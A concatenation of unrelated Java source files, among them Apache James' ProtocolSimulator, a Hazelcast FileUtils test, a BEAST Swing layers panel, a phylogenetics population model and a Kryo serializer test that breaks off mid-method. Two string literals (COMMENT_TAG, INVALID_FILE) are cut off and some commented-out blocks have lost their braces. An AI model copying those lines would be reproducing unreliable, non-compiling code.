while (node != null) {
builder.append(node.value).append(", ");
node = node.nextNode;
}
return builder.toString();
}
private static class Node<T> {
private T value = null;
private Node<T> previousNode = null;
private Node<T> nextNode = null;
private Node(T value) {
this.value = value;
}
/**
* {@inheritDoc}
*/
@Override
public String toString() {
return "value=" + value + " previous=" + ((previousNode != null) ? previousNode.value : "NULL") + " next="
+ ((nextNode != null) ? nextNode.value : "NULL");
}
}
}
|
package org.apache.james.testing;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.io.Writer;
import java.net.Socket;
import java.util.ArrayList;
import java.util.List;
import org.apache.oro.text.perl.Perl5Util;
/**
* <pre>
* Simulates protocol sessions. Connects to a protocol server. Test
* reads template and sends data or reads data from server and
* validates against given template file.
*
* Template rules are:
* - All lines starting with '#' are regarded as comments.
* - All template lines start with 'C: ' or 'S: '
* - Each template line is treated as a seprate unit.
* - 'C: ' indicates client side communication that is communication
* from this test to remote server.
* - 'S: ' indicates server response.
* - Client side communication is obtained from template file and is
* sent as is to the server.
* - Expected Server side responses are read from template. Expected
* Server side response is matched against actual server response
* using perl regular expressions.
*
* Example POP3 prototol script to test for authentication:
* # note \ before '+'. '+' needs to be escaped
* S: \+OK.*
* C: USER test
* S: \+OK.*
* C: PASS invalidpwd
* S: -ERR.*
* C: USER test
* S: \+OK.*
* C: PASS test
* S: \+OK.*
* </pre>
*/
public class ProtocolSimulator {
private static final String COMMENT_TAG = "
private static final String CLIENT_TAG = "C: ";
private static final String SERVER_TAG = "S: ";
private static final int CLIENT_TAG_LEN = CLIENT_TAG.length();
private static final int SERVER_TAG_LEN = SERVER_TAG.length();
private static final Perl5Util perl = new Perl5Util();
/**
* Start the protocol simulator . <br>
* Usage: ProtocolSimulator 'host' 'port' 'template'
*/
public static void main(String[] args) throws Exception {
System.out.println("Usage: ProtocolSimulator <host> <port> <template>");
String host = args[0];
int port = new Integer(args[1]).intValue();
File template = new File(args[2]);
System.out.println("Testing against "+host+":"+port+
" using template: "+template.getAbsolutePath());
// read socket. Ensure that lines written end with CRLF.
Socket sock = new Socket(host,port);
InputStream inp = sock.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inp));
PrintWriter writer = new PrintWriter(new BufferedOutputStream(sock.getOutputStream())) {
public void println() {
try {
out.write("\r\n");
out.flush();
} catch(IOException ex) {
throw new RuntimeException(ex.toString());
}
}
};
BufferedReader templateReader = new BufferedReader(new FileReader(template));
try {
Line[] line = readTemplate(templateReader,reader,writer);
for ( int i = 0 ; i < line.length ; i++ ) {
try {
line[i].process();
} catch(Throwable t) {
System.out.println("Failed on line: "+i);
t.printStackTrace();
break;
}
}
} finally {
// try your be to cleanup.
try { templateReader.close(); } catch(Throwable t) { }
try { sock.close(); } catch(Throwable t) { }
}
}
/** represents a single line of protocol interaction */
private static interface Line {
/** do something with the line. Either send or validate */
public void process() throws IOException;
}
/** read template and convert into protocol interaction line
* elements */
private static Line[] readTemplate(BufferedReader templateReader,
final BufferedReader reader,
final PrintWriter writer) throws Exception
{
List list = new ArrayList();
while ( true ) {
final String templateLine = templateReader.readLine();
if ( templateLine == null )
break;
// ignore empty lines.
if ( templateLine.trim().length() == 0 )
continue;
if ( templateLine.startsWith(COMMENT_TAG) )
continue;
if ( templateLine.startsWith(CLIENT_TAG) ) {
list.add(new Line() {
// just send the client data
public void process() {
writer.println(templateLine.substring(CLIENT_TAG_LEN));
}
});
} else if ( templateLine.startsWith(SERVER_TAG) ) {
list.add(new Line() {
// read server line and validate
public void process() throws IOException {
String line = reader.readLine();
String pattern = "m/"+templateLine.substring(SERVER_TAG_LEN)+"/";
System.out.println(pattern+":"+line);
if ( line == null || !perl.match(pattern,line) )
throw new IOException
("Protocol Failure: got=["+line+"] expected=["+templateLine+"]");
}
});
} else
throw new Exception("Invalid template line: "+templateLine);
}
return (Line[])list.toArray(new Line[0]);
}
}
|
package com.leandog.gametel.driver.commands;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.junit.Assert.assertThat;
import static org.mockito.Mockito.*;
import org.junit.*;
import org.mockito.*;
import com.jayway.android.robotium.solo.Solo;
import com.leandog.gametel.driver.TestRunInformation;
public class CommandRunnerTest {
@Mock Solo solo;
CommandRunner commandRunner;
@Before
public void setUp() {
initMocks();
commandRunner = new CommandRunner();
}
@Test
public void itCanInvokeParameterless() throws Exception {
commandRunner.execute(new Command("goBack"));
verify(solo).goBack();
}
@Test
public void itCanGiveTheLastResult() throws Exception {
when(solo.scrollDown()).thenReturn(true);
commandRunner.execute(new Command("scrollDown"));
assertThat(commandRunner.theLastResult(), equalTo((Object) true));
}
@Test
public void itCanInvokeMethodsTakingIntegers() throws Exception {
commandRunner.execute(new Command("clearEditText", 3));
verify(solo).clearEditText(3);
}
@Test
public void itCanInvokeMethodsTakingFloats() throws Exception {
commandRunner.execute(new Command("clickLongOnScreen", 1.0f, 2.0f));
verify(solo).clickLongOnScreen(1.0f, 2.0f);
}
@Test
public void itCanInvokeMethodsTakingAString() throws Exception {
commandRunner.execute(new Command("clickLongOnText", "someText"));
verify(solo).clickLongOnText("someText");
}
@Test
public void itCanChainMethodCallsFromTheLastResult() throws Exception {
commandRunner.execute(new Command("getClass"), new Command("getName"));
assertThat(commandRunner.theLastResult(), equalTo((Object)solo.getClass().getName()));
}
@Test
public void itCanInvokeMethodsTakingABoolean() throws Exception {
commandRunner.execute(new Command("clickOnText", "someText", 123, true));
verify(solo).clickOnText("someText", 123, true);
}
@Test
public void itClearsTheLastResultBeforeExecutingAgain() throws Exception {
commandRunner.execute(new Command("clickInList", 0));
commandRunner.execute(new Command("clickInList", 0));
verify(solo, times(2)).clickInList(0);
}
private void initMocks() {
MockitoAnnotations.initMocks(this);
TestRunInformation.setSolo(solo);
}
}
|
package com.hazelcast.simulator.utils;
import org.junit.Test;
import java.io.File;
import static com.hazelcast.simulator.utils.FileUtils.USER_HOME;
import static com.hazelcast.simulator.utils.FileUtils.appendText;
import static com.hazelcast.simulator.utils.FileUtils.deleteQuiet;
import static com.hazelcast.simulator.utils.FileUtils.fileAsText;
import static com.hazelcast.simulator.utils.FileUtils.isValidFileName;
import static com.hazelcast.simulator.utils.FileUtils.newFile;
import static com.hazelcast.simulator.utils.FileUtils.readObject;
import static com.hazelcast.simulator.utils.FileUtils.writeObject;
import static com.hazelcast.simulator.utils.FileUtils.writeText;
import static com.hazelcast.simulator.utils.ReflectionUtils.invokePrivateConstructor;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
public class FileUtilsTest {
private static final File INVALID_FILE = new File(":\\
@Test
public void testConstructor() throws Exception {
invokePrivateConstructor(FileUtils.class);
}
@Test
public void testIsValidFileName() {
assertTrue(isValidFileName("validFilename"));
assertTrue(isValidFileName("validFilename23"));
assertTrue(isValidFileName("42validFilename"));
assertTrue(isValidFileName("VALID_FILENAME"));
assertFalse(isValidFileName("INVALID FILENAME"));
assertFalse(isValidFileName("invalid$filename"));
}
@Test
public void testNewFileEmptyPath() {
File actual = newFile("");
assertEquals("", actual.getPath());
}
@Test
public void testNewFileUserHome() {
File actual = newFile("~");
assertEquals(USER_HOME, actual.getPath());
}
@Test
public void testNewFileUserHomeBased() {
File actual = newFile("~" + File.separator + "foobar");
assertEquals(USER_HOME + File.separator + "foobar", actual.getPath());
}
@Test
public void testWriteAndReadObject() {
File file = new File("testWriteAndReadObject");
try {
String expected = "Hello World!";
writeObject(expected, file);
String actual = readObject(file);
assertEquals(expected, actual);
} finally {
deleteQuiet(file);
}
}
@Test(expected = FileUtilsException.class)
public void testWriteObject_withInvalidFilename() {
writeObject(null, INVALID_FILE);
}
@Test(expected = FileUtilsException.class)
public void testReadObject_withInvalidFilename() {
readObject(INVALID_FILE);
}
@Test
public void testWriteText() {
File file = new File("testWriteText");
try {
String expected = "write test";
writeText(expected, file);
String actual = fileAsText(file);
assertEquals(expected, actual);
} finally {
deleteQuiet(file);
}
}
@Test(expected = NullPointerException.class)
public void testWriteText_withNullText() {
writeText(null, new File("ignored"));
}
@Test(expected = NullPointerException.class)
public void testWriteText_withNullFile() {
writeText("ignored", null);
}
@Test(expected = FileUtilsException.class)
public void testWriteText_withInvalidFilename() {
writeText("ignored", INVALID_FILE);
}
@Test
public void testAppendText() {
File file = new File("testAppendText");
try {
String expected = "write test";
appendText(expected, file);
appendText(expected, file);
String actual = fileAsText(file);
assertEquals(expected + expected, actual);
} finally {
deleteQuiet(file);
}
}
@Test(expected = NullPointerException.class)
public void testAppendText_withNullText() {
appendText(null, new File("ignored"));
}
@Test(expected = NullPointerException.class)
public void testAppendText_withNullFile() {
appendText("ignored", (File) null);
}
@Test(expected = FileUtilsException.class)
public void testAppendText_withInvalidFilename() {
appendText("ignored", INVALID_FILE);
}
@Test(expected = FileUtilsException.class)
public void testFileAsText_withInvalidFilename() {
fileAsText(INVALID_FILE);
}
@Test
public void testDeleteQuiet_withInvalidFilename() {
deleteQuiet(new File("/dev/null"));
}
}
|
package com.sigseg.android.map;
import android.app.Activity;
import android.graphics.Point;
import android.os.Bundle;
import android.util.Log;
import android.view.Window;
import android.view.WindowManager;
import com.sigseg.android.worldmap.R;
public class ImageViewerActivity extends Activity {
private static final String TAG = "ImageViewerActivity";
private static final String KEY_X = "X";
private static final String KEY_Y = "Y";
private static final String MAP_FILE = "world.jpg";
private ImageSurfaceView imageSurfaceView;
@Override
public void onCreate(final Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Hide the window title.
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
setContentView(R.layout.main);
imageSurfaceView = findViewById(R.id.worldview);
try {
imageSurfaceView.setInputStream(getAssets().open(MAP_FILE));
} catch (java.io.IOException e) {
Log.wtf(TAG, "Fail", e);
}
if (savedInstanceState != null && savedInstanceState.containsKey(KEY_X) && savedInstanceState.containsKey(KEY_Y)) {
imageSurfaceView.post(new Runnable() {
@Override
public void run() {
final int x = (int) savedInstanceState.get(KEY_X);
final int y = (int) savedInstanceState.get(KEY_Y);
imageSurfaceView.setViewport(new Point(x, y));
}
});
} else {
// Centering the map to start
imageSurfaceView.post(new Runnable() {
@Override
public void run() {
imageSurfaceView.setViewportCenter();
}
});
}
}
@Override
protected void onSaveInstanceState(Bundle outState) {
final Point p = new Point();
imageSurfaceView.getViewport(p);
outState.putInt(KEY_X, p.x);
outState.putInt(KEY_Y, p.y);
super.onSaveInstanceState(outState);
}
}
|
package dr.app.phylogeography.spread.layerspanel;
import dr.app.gui.DeleteActionResponder;
import dr.app.phylogeography.builder.*;
import dr.app.phylogeography.spread.*;
import dr.app.gui.table.MultiLineTableCellRenderer;
import jam.framework.Exportable;
import jam.panels.ActionPanel;
import dr.app.gui.table.TableEditorStopper;
import javax.swing.*;
import javax.swing.event.ListSelectionEvent;
import javax.swing.event.ListSelectionListener;
import javax.swing.plaf.BorderUIResource;
import javax.swing.table.AbstractTableModel;
import javax.swing.table.TableColumn;
import java.awt.*;
import java.awt.dnd.*;
import java.awt.datatransfer.StringSelection;
import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.util.HashSet;
import java.util.Set;
/**
* @author Andrew Rambaut
* @version $Id$
*/
public class LayersPanel extends JPanel implements DeleteActionResponder, Exportable {
public final static BuilderFactory[] builderFactories = {
DiscreteDiffusionTreeBuilder.FACTORY,
ContinuousDiffusionTreeBuilder.FACTORY
};
private JTable layerTable = null;
private LayerTableModel layerTableModel = null;
private SpreadFrame frame = null;
private CreateBuilderDialog createBuilderDialog = null;
private EditBuilderDialog editBuilderDialog = null;
private final SpreadDocument document;
public LayersPanel(final SpreadFrame parent, final SpreadDocument document) {
this.frame = parent;
this.document = document;
layerTableModel = new LayerTableModel();
layerTable = new JTable(layerTableModel);
layerTable.getTableHeader().setReorderingAllowed(false);
// layerTable.getTableHeader().setDefaultRenderer(
// new HeaderRenderer(SwingConstants.LEFT, new Insets(0, 4, 0, 4)));
TableColumn col = layerTable.getColumnModel().getColumn(0);
col.setCellRenderer(new MultiLineTableCellRenderer());
layerTable.setRowHeight(layerTable.getRowHeight() * 3);
layerTable.setDragEnabled(true);
// layerTable.setDropMode(DropMode.INSERT);
// layerTable.setTransferHandler(new MyListDropHandler(layerTable));
new MyDragListener(layerTable);
TableEditorStopper.ensureEditingStopWhenTableLosesFocus(layerTable);
layerTable.getSelectionModel().addListSelectionListener(new ListSelectionListener() {
public void valueChanged(ListSelectionEvent evt) {
selectionChanged();
}
});
layerTable.addMouseListener(new MouseAdapter() {
public void mouseClicked(MouseEvent e) {
if (e.getClickCount() == 2) {
editSelection();
}
}
});
JScrollPane scrollPane = new JScrollPane(layerTable,
JScrollPane.VERTICAL_SCROLLBAR_ALWAYS,
JScrollPane.HORIZONTAL_SCROLLBAR_ALWAYS);
scrollPane.setOpaque(false);
// JToolBar toolBar1 = new JToolBar();
// toolBar1.setFloatable(false);
// toolBar1.setOpaque(false);
// toolBar1.setLayout(new FlowLayout(FlowLayout.LEFT, 0, 0));
// JButton button = new JButton(unlinkModelsAction);
// unlinkModelsAction.setEnabled(false);
// PanelUtils.setupComponent(button);
// toolBar1.add(button);
ActionPanel actionPanel1 = new ActionPanel(true);
actionPanel1.setAddAction(addAction);
actionPanel1.setRemoveAction(removeAction);
actionPanel1.setActionAction(editAction);
removeAction.setEnabled(false);
JPanel controlPanel1 = new JPanel(new BorderLayout());
controlPanel1.setOpaque(false);
controlPanel1.add(actionPanel1, BorderLayout.WEST);
buildAction.setEnabled(false);
JButton generateButton = new JButton(buildAction);
generateButton.putClientProperty("JButton.buttonType", "roundRect");
controlPanel1.add(generateButton, BorderLayout.EAST);
setOpaque(false);
setBorder(new BorderUIResource.EmptyBorderUIResource(new Insets(12, 12, 12, 12)));
setLayout(new BorderLayout(0, 0));
// add(toolBar1, BorderLayout.NORTH);
add(scrollPane, BorderLayout.CENTER);
add(controlPanel1, BorderLayout.SOUTH);
document.addListener(new SpreadDocument.Listener() {
public void dataChanged() {
}
public void settingsChanged() {
LayersPanel.this.settingsChanged();
}
});
}
public void selectionChanged() {
int[] selRows = layerTable.getSelectedRows();
boolean hasSelection = (selRows != null && selRows.length != 0);
removeAction.setEnabled(hasSelection);
frame.setRemoveActionEnabled(this, hasSelection);
}
public JComponent getExportableComponent() {
return layerTable;
}
public void delete() {
int[] selRows = layerTable.getSelectedRows();
Set<Builder> buildersToRemove = new HashSet<Builder>();
for (int row : selRows) {
buildersToRemove.add(document.getLayerBuilders().get(row));
}
// // TODO: would probably be a good idea to check if the user wants to remove the last layer
document.getLayerBuilders().removeAll(buildersToRemove);
document.fireSettingsChanged();
}
public Action getDeleteAction() {
return removeAction;
}
public void editSelection() {
int selRow = layerTable.getSelectedRow();
if (selRow >= 0) {
Builder builder = document.getLayerBuilders().get(selRow);
editSettings(builder);
}
}
private void editSettings(Builder builder) {
if (editBuilderDialog == null) {
editBuilderDialog = new EditBuilderDialog(frame);
}
int result = editBuilderDialog.showDialog(builder, document);
if (result != JOptionPane.CANCEL_OPTION) {
editBuilderDialog.getBuilder(); // force update of builder settings
document.fireSettingsChanged();
}
}
public void addLayer() {
if (createBuilderDialog == null) {
createBuilderDialog = new CreateBuilderDialog(frame);
}
int result = createBuilderDialog.showDialog(builderFactories, document);
if (result != JOptionPane.CANCEL_OPTION) {
Builder builder = createBuilderDialog.getBuilder();
document.addLayerBuilder(builder);
editSettings(builder);
}
}
public void selectAll() {
layerTable.selectAll();
}
private void buildAll() {
for (Builder builder : document.getLayerBuilders()) {
try {
builder.build();
} catch (BuildException be) {
JOptionPane.showMessageDialog(frame, "For layer, " + builder.getName() + ": " + be.getMessage(),
"Error building layer",
JOptionPane.ERROR_MESSAGE);
}
}
document.fireSettingsChanged();
}
private void settingsChanged() {
boolean needsBuilding = false;
for (Builder builder : document.getLayerBuilders()) {
if (!builder.isBuilt()) {
needsBuilding = true;
}
}
buildAction.setEnabled(needsBuilding);
layerTableModel.fireTableDataChanged();
}
class LayerTableModel extends AbstractTableModel {
private static final long serialVersionUID = -6707994233020715574L;
// String[] columnNames = {"Name", "Layer Type", "Input File", "Built?"};
String[] columnNames = {"Layers"};
public LayerTableModel() {
}
public int getColumnCount() {
return columnNames.length;
}
public int getRowCount() {
return document.getLayerBuilders().size();
}
public Object getValueAt(int row, int col) {
Builder builder = document.getLayerBuilders().get(row);
return builder;
// switch (col) {
// case 0:
// return builder.getName();
// case 1:
// return builder.getBuilderName();
// case 2:
// return builder.getInputFile();
// case 3:
// return (builder.isBuilt() ? "Yes" : "No");
// default:
}
public void setValueAt(Object aValue, int row, int col) {
// Builder builder = document.getLayerBuilders().get(row);
// switch (col) {
// case 0:
// String name = ((String) aValue).trim();
// if (name.length() > 0) {
// builder.setName(name);
// break;
// document.fireSettingsChanged();
}
public boolean isCellEditable(int row, int col) {
boolean editable = false;
// switch (col) {
// case 0:// name
// editable = true;
// break;
// default:
// editable = false;
return editable;
}
public String getColumnName(int column) {
return columnNames[column];
}
public Class getColumnClass(int c) {
if (getRowCount() == 0) {
return Object.class;
}
return getValueAt(0, c).getClass();
}
public String toString() {
StringBuffer buffer = new StringBuffer();
buffer.append(getColumnName(0));
for (int j = 1; j < getColumnCount(); j++) {
buffer.append("\t");
buffer.append(getColumnName(j));
}
buffer.append("\n");
for (int i = 0; i < getRowCount(); i++) {
buffer.append(getValueAt(i, 0));
for (int j = 1; j < getColumnCount(); j++) {
buffer.append("\t");
buffer.append(getValueAt(i, j));
}
buffer.append("\n");
}
return buffer.toString();
}
}
private final Action addAction = new AddLayerAction();
private final Action removeAction = new RemoveLayerAction();
private final Action editAction = new EditLayerAction();
private final Action buildAction = new BuildAction();
public class AddLayerAction extends AbstractAction {
public AddLayerAction() {
super("Add");
setToolTipText("Use this button to create a new layer");
}
public void actionPerformed(ActionEvent ae) {
addLayer();
}
}
public class RemoveLayerAction extends AbstractAction {
public RemoveLayerAction() {
super("Remove");
setToolTipText("Use this button to remove a selected layer from the table");
}
public void actionPerformed(ActionEvent ae) {
delete();
}
}
public class EditLayerAction extends AbstractAction {
public EditLayerAction() {
super("Edit");
setToolTipText("Use this button to edit a selected layer in the table");
}
public void actionPerformed(ActionEvent ae) {
editSelection();
}
}
public class BuildAction extends AbstractAction {
public BuildAction() {
super("Build");
setToolTipText("Use this button to build the layers");
}
public void actionPerformed(ActionEvent ae) {
buildAll();
}
}
class MyDragListener implements DragSourceListener, DragGestureListener {
JTable table;
DragSource ds = new DragSource();
public MyDragListener(JTable table) {
this.table = table;
DragGestureRecognizer dgr = ds.createDefaultDragGestureRecognizer(table, DnDConstants.ACTION_MOVE, this);
}
public void dragGestureRecognized(DragGestureEvent dge) {
StringSelection transferable = new StringSelection(Integer.toString(table.getSelectedRow()));
ds.startDrag(dge, DragSource.DefaultCopyDrop, transferable, this);
}
public void dragEnter(DragSourceDragEvent dsde) {
}
public void dragExit(DragSourceEvent dse) {
}
public void dragOver(DragSourceDragEvent dsde) {
}
public void dragDropEnd(DragSourceDropEvent dsde) {
}
public void dropActionChanged(DragSourceDragEvent dsde) {
}
}
// class MyListDropHandler extends TransferHandler {
// JTable table;
// public MyListDropHandler(JTable table) {
// this.table = table;
// public boolean canImport(TransferHandler.TransferSupport support) {
// if (!support.isDataFlavorSupported(DataFlavor.stringFlavor)) {
// return false;
// JTable.DropLocation dl = (JTable.DropLocation) support.getDropLocation();
// return dl.getRow() != -1;
// public boolean importData(TransferHandler.TransferSupport support) {
// if (!canImport(support)) {
// return false;
// Transferable transferable = support.getTransferable();
// String indexString;
// try {
// indexString = (String) transferable.getTransferData(DataFlavor.stringFlavor);
// } catch (Exception e) {
// return false;
// int index = Integer.parseInt(indexString);
// Builder builder = document.getLayerBuilders().get(index);
// JTable.DropLocation dl = (JTable.DropLocation) support.getDropLocation();
// int dropTargetIndex = dl.getRow();
// document.getLayerBuilders().add(dropTargetIndex, builder);
// document.getLayerBuilders().remove(builder);
// document.fireSettingsChanged();
// return true;
}
|
package dr.evomodel.coalescent.structure;
import dr.inference.model.Parameter;
import dr.inference.model.Model;
import dr.inference.model.AbstractModel;
import dr.inference.model.Statistic;
import dr.xml.*;
import dr.evomodel.coalescent.DemographicModel;
import java.util.*;
/**
* A wrapper for ConstantPopulation.
*
* @version $Id: MetaPopulationModel.java,v 1.3 2006/09/11 09:33:01 gerton Exp $
*
* @author Andrew Rambaut
* @author Alexei Drummond
*/
public class MetaPopulationModel extends AbstractModel
{
// Public stuff
public static final String META_POPULATION_MODEL = "metaPopulationModel";
/**
* Construct demographic model with default settings
*/
public MetaPopulationModel(ArrayList<DemographicModel> demographicModels, Parameter populationProportions) {
this(META_POPULATION_MODEL, demographicModels, populationProportions);
}
/**
* Construct demographic model with default settings
*/
public MetaPopulationModel(String name, ArrayList<DemographicModel> demographicModelList, Parameter populationProportions) {
super(name);
this.populationProportions = populationProportions;
if (populationProportions != null) {
// Single demographic, each with a different weight
addParameter(populationProportions);
populationProportions.addBounds(new Parameter.DefaultBounds(1.0, 0.0, populationProportions.getDimension()));
populationCount = populationProportions.getDimension() + 1;
// Add copies of the demographicModel to the array
for (int i=1; i<populationCount; i++) {
demographicModelList.add( demographicModelList.get(0) );
}
demographicModels = demographicModelList.toArray( new DemographicModel[0] );
addModel(demographicModels[0]);
} else {
// Several demographic models
populationCount = demographicModelList.size();
demographicModels = demographicModelList.toArray( new DemographicModel[0] );
for (int i=0; i<populationCount; i++) {
addModel( demographicModels[i] );
}
}
addStatistic(populationSizesStatistic);
}
// general functions
private double getProportion( int population ) {
if (populationProportions == null) {
return 1.0;
}
if (population > 0) {
return populationProportions.getParameterValue( population - 1);
}
double proportion = 1.0;
for (int i = 1; i < populationCount; i++) {
proportion -= populationProportions.getParameterValue( i-1 );
}
return proportion;
}
int getPopulationCount() {
return populationCount;
}
public double[] getPopulationSizes(double time) {
// make population size array
double[] N = new double[populationCount];
for (int i = 0; i < populationCount; i++) {
N[i] = demographicModels[i].getDemographicFunction().getDemographic(time) * getProportion( i );
}
return N;
}
/* returns value of demographic function at time t (population size; one entry of double[] getPopulationSizes)
* (This function mirrors an equivalent function in DemographicFunction)
*/
public double getDemographic(double time, int population) {
return demographicModels[population].getDemographicFunction().getDemographic(time) * getProportion( population );
}
/* calculates the integral 1/N(x) dx from start to finish, for one of the populations
* (This function mirrors an equivalent function in DemographicFunction)
*/
public double getIntegral(double start, double finish, int population) {
double integral = demographicModels[population].getDemographicFunction().getIntegral( start, finish );
return integral / getProportion(population);
}
// Model IMPLEMENTATION
protected void handleModelChangedEvent(Model model, Object object, int index) {
fireModelChanged();
}
protected void storeState() {} // no additional state needs storing
protected void restoreState() {
fireModelChanged();
} // no additional state needs restoring
protected void acceptState() {} // no additional state needs accepting
protected void handleParameterChangedEvent(Parameter parameter, int index) {
// nothing to do
}
private Statistic populationSizesStatistic = new Statistic.Abstract() {
public String getStatisticName() {
return "populationSizes";
}
public int getDimension() { return populationCount; }
public double getStatisticValue(int dim) {
double metaN0 = demographicModels[dim].getDemographicFunction().getDemographic(0);
return metaN0 * getProportion(dim);
}
};
/**
* Parses an element from an DOM document into a ConstantPopulation.
*/
public static XMLObjectParser PARSER = new AbstractXMLObjectParser() {
public String getParserName() { return MetaPopulationModel.META_POPULATION_MODEL; }
public Object parseXMLObject(XMLObject xo) throws XMLParseException {
ArrayList<DemographicModel> demographics = new ArrayList<DemographicModel>(0);
Parameter populationProportions = null;
for (int i=0; i<xo.getChildCount(); ++i) {
final Object o = xo.getChild(i);
if ( o instanceof DemographicModel ) {
demographics.add( (DemographicModel) o );
} else if ( o instanceof Parameter ) {
if ( populationProportions != null) {
throw new Error("Allowed at most one Parameter in a MetaPopulationModel");
}
populationProportions = (Parameter)o;
} else {
throw new Error("A MetaPopulationModel may only have children of type Parameter or DemographicModel");
}
}
// Do sanity checking.
if (populationProportions == null) {
if (demographics.size() < 2) {
throw new Error("A MetaPopulationModel must have at least 2 DemographicModels (or a Parameter)");
}
} else {
if (demographics.size() != 1) {
throw new Error("A MetaPopulationModel with a Parameter must have exactly one DemographicModel");
}
}
return new MetaPopulationModel(demographics, populationProportions);
}
|
package com.esotericsoftware.kryo;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import org.objenesis.strategy.StdInstantiatorStrategy;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.esotericsoftware.kryo.serializers.FieldSerializer;
import com.esotericsoftware.kryo.serializers.FieldSerializer.Optional;
/** @author Nathan Sweet <misc@n4te.com> */
public class FieldSerializerTest extends KryoTestCase {
{
supportsCopy = true;
}
public void testDefaultTypes () {
kryo.register(DefaultTypes.class);
kryo.register(byte[].class);
DefaultTypes test = new DefaultTypes();
test.booleanField = true;
test.byteField = 123;
test.charField = 'Z';
test.shortField = 12345;
test.intField = 123456;
test.longField = 123456789;
test.floatField = 123.456f;
test.doubleField = 1.23456d;
test.BooleanField = true;
test.ByteField = -12;
test.CharacterField = 'X';
test.ShortField = -12345;
test.IntegerField = -123456;
test.LongField = -123456789l;
test.FloatField = -123.3f;
test.DoubleField = -0.121231d;
test.StringField = "stringvalue";
test.byteArrayField = new byte[] {2, 1, 0, -1, -2};
roundTrip(78, 88, test);
kryo.register(HasStringField.class);
test.hasStringField = new HasStringField();
FieldSerializer serializer = (FieldSerializer)kryo.getSerializer(DefaultTypes.class);
serializer.getField("hasStringField").setCanBeNull(false);
roundTrip(79, 89, test);
serializer.setFixedFieldTypes(true);
serializer.getField("hasStringField").setCanBeNull(false);
roundTrip(78, 88, test);
}
public void testFieldRemoval () {
kryo.register(DefaultTypes.class);
kryo.register(byte[].class);
kryo.register(HasStringField.class);
HasStringField hasStringField = new HasStringField();
hasStringField.text = "moo";
roundTrip(4, 4, hasStringField);
DefaultTypes test = new DefaultTypes();
test.intField = 12;
test.StringField = "value";
test.CharacterField = 'X';
test.child = new DefaultTypes();
roundTrip(71, 91, test);
supportsCopy = false;
test.StringField = null;
roundTrip(67, 87, test);
FieldSerializer serializer = (FieldSerializer)kryo.getSerializer(DefaultTypes.class);
serializer.removeField("LongField");
serializer.removeField("floatField");
serializer.removeField("FloatField");
roundTrip(55, 75, test);
supportsCopy = true;
}
public void testOptionalRegistration () {
kryo.setRegistrationRequired(false);
DefaultTypes test = new DefaultTypes();
test.intField = 12;
test.StringField = "value";
test.CharacterField = 'X';
test.hasStringField = new HasStringField();
test.child = new DefaultTypes();
test.child.hasStringField = new HasStringField();
roundTrip(195, 215, test);
test.hasStringField = null;
roundTrip(193, 213, test);
test = new DefaultTypes();
test.booleanField = true;
test.byteField = 123;
test.charField = 1234;
test.shortField = 12345;
test.intField = 123456;
test.longField = 123456789;
test.floatField = 123.456f;
test.doubleField = 1.23456d;
test.BooleanField = true;
test.ByteField = -12;
test.CharacterField = 123;
test.ShortField = -12345;
test.IntegerField = -123456;
test.LongField = -123456789l;
test.FloatField = -123.3f;
test.DoubleField = -0.121231d;
test.StringField = "stringvalue";
test.byteArrayField = new byte[] {2, 1, 0, -1, -2};
kryo = new Kryo();
roundTrip(140, 150, test);
C c = new C();
c.a = new A();
c.a.value = 123;
c.a.b = new B();
c.a.b.value = 456;
c.d = new D();
c.d.e = new E();
c.d.e.f = new F();
roundTrip(63, 73, c);
}
public void testReferences () {
C c = new C();
c.a = new A();
c.a.value = 123;
c.a.b = new B();
c.a.b.value = 456;
c.d = new D();
c.d.e = new E();
c.d.e.f = new F();
c.d.e.f.a = c.a;
kryo = new Kryo();
roundTrip(63, 73, c);
C c2 = (C)object2;
assertTrue(c2.a == c2.d.e.f.a);
// Test reset clears unregistered class names.
roundTrip(63, 73, c);
c2 = (C)object2;
assertTrue(c2.a == c2.d.e.f.a);
kryo = new Kryo();
kryo.setRegistrationRequired(true);
kryo.register(A.class);
kryo.register(B.class);
kryo.register(C.class);
kryo.register(D.class);
kryo.register(E.class);
kryo.register(F.class);
roundTrip(15, 25, c);
c2 = (C)object2;
assertTrue(c2.a == c2.d.e.f.a);
}
public void testRegistrationOrder () {
A a = new A();
a.value = 100;
a.b = new B();
a.b.value = 200;
a.b.a = new A();
a.b.a.value = 300;
kryo.register(A.class);
kryo.register(B.class);
roundTrip(10, 16, a);
kryo = new Kryo();
kryo.setReferences(false);
kryo.register(B.class);
kryo.register(A.class);
roundTrip(10, 16, a);
}
public void testExceptionTrace () {
C c = new C();
c.a = new A();
c.a.value = 123;
c.a.b = new B();
c.a.b.value = 456;
c.d = new D();
c.d.e = new E();
c.d.e.f = new F();
Kryo kryoWithoutF = new Kryo();
kryoWithoutF.setReferences(false);
kryoWithoutF.setRegistrationRequired(true);
kryoWithoutF.register(A.class);
kryoWithoutF.register(B.class);
kryoWithoutF.register(C.class);
kryoWithoutF.register(D.class);
kryoWithoutF.register(E.class);
Output output = new Output(512);
try {
kryoWithoutF.writeClassAndObject(output, c);
fail("Should have failed because F is not registered.");
} catch (KryoException ignored) {
}
kryo.register(A.class);
kryo.register(B.class);
kryo.register(C.class);
kryo.register(D.class);
kryo.register(E.class);
kryo.register(F.class);
kryo.setRegistrationRequired(true);
output.clear();
kryo.writeClassAndObject(output, c);
output.flush();
assertEquals(14, output.total());
Input input = new Input(output.getBuffer());
kryo.readClassAndObject(input);
try {
input.setPosition(0);
kryoWithoutF.readClassAndObject(input);
fail("Should have failed because F is not registered.");
} catch (KryoException ignored) {
}
}
public void testNoDefaultConstructor () {
